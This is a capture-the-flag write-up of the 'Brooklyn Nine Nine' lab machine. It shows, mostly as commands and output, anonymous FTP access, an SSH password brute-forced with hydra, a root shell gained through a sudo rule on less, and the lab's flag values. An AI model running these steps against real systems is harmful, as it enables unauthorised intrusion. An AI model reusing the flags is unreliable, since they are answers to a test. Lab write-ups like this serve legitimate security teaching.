Brooklyn Nine Nine [Finished]

```
└─$ nmap -sC -sV -oN nmap/initial 10.10.191.81
Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-06 21:40 EDT
Nmap scan report for 10.10.191.81
Host is up (0.18s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0             119 May 17  2020 note_to_jake.txt
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:10.13.29.232
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 16:7f:2f:fe:0f:ba:98:77:7d:6d:3e:b6:25:72:c6:a3 (RSA)
|   256 2e:3b:61:59:4b:c4:29:b5:e8:58:39:6f:6f:e9:9b:ee (ECDSA)
|_  256 ab:16:2e:79:20:3c:9b:0a:01:9c:8c:44:26:01:58:04 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.32 seconds
```

After conducting an nmap scan we saw that 3 ports were open and the most interesting one was FTP and this was becuase it was able to login using default credentials so we then decided to try to login to the FTP server.

```
└─$ ftp 10.10.191.81
Connected to 10.10.191.81.
220 (vsFTPd 3.0.3)
Name (10.10.191.81:tyler): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 0        0             119 May 17  2020 note_to_jake.txt
226 Directory send OK.
ftp> get note_to_jake.txt
local: note_to_jake.txt remote: note_to_jake.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for note_to_jake.txt (119 bytes).
226 Transfer complete.
119 bytes received in 0.06 secs (2.0048 kB/s)
ftp>
```

After logging in to the server we saw there was a file there named note_to_jake and we used the GET command to get this file on put it on our local machine

```
└─$ cat note_to_jake.txt
From Amy,

Jake please change your password. It is too weak and holt will be mad if someone hacks into the nine nine
```

This shows us that jake has a weak password so that means that if could possibly be brute forced.

```
┌──(tyler㉿113)-[~/ctf/thm/BrooklynNineNine]
└─$ hydra -l jake -P /opt/rockyou.txt 10.10.191.81 ssh -t 4
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-04-06 21:49:44
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task
[DATA] attacking ssh://10.10.191.81:22/
[STATUS] 44.00 tries/min, 44 tries in 00:01h, 14344355 to do in 5433:29h, 4 active
[22][ssh] host: 10.10.191.81   login: jake   password: 987654321
```

We then used hydra to brute force jake's ssh login and we just used the rockyou wordlist after a bit of time it was able to find the password which was 987654321

```
jake@brookly_nine_nine:/home$ ls
amy  holt  jake
jake@brookly_nine_nine:/home$ cd holt
jake@brookly_nine_nine:/home/holt$ ls
nano.save  user.txt
jake@brookly_nine_nine:/home/holt$ cat user.txt
ee11cbb19052e40b07aac0ca060c23ee
```

Looking in the home directory we saw that there wa 3 profiles, so we looked at holt

and saw that the flag was there.

```
jake@brookly_nine_nine:/home/holt$ sudo -l
Matching Defaults entries for jake on brookly_nine_nine:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User jake may run the following commands on brookly_nine_nine:
    (ALL) NOPASSWD: /usr/bin/less
```

After finding the first flag we then looked at jakes permissions and saw that we had access to /usr/bin/less knowing this we went to gtfobins and saw that there was a command that can be used to get root

```
jake@brookly_nine_nine:/home/holt$ sudo less /etc/profile
# whoami
root
#
```

After execurting the command sudo less /etc/profile we were now root!

```
# cd /root
# ls
root.txt
# cat root.txt
-- Creator : Fsociety2006 --
Congratulations in rooting Brooklyn Nine Nine
Here is the flag: 63a9f0ea7bb98050796b649e85481845

Enjoy!!
```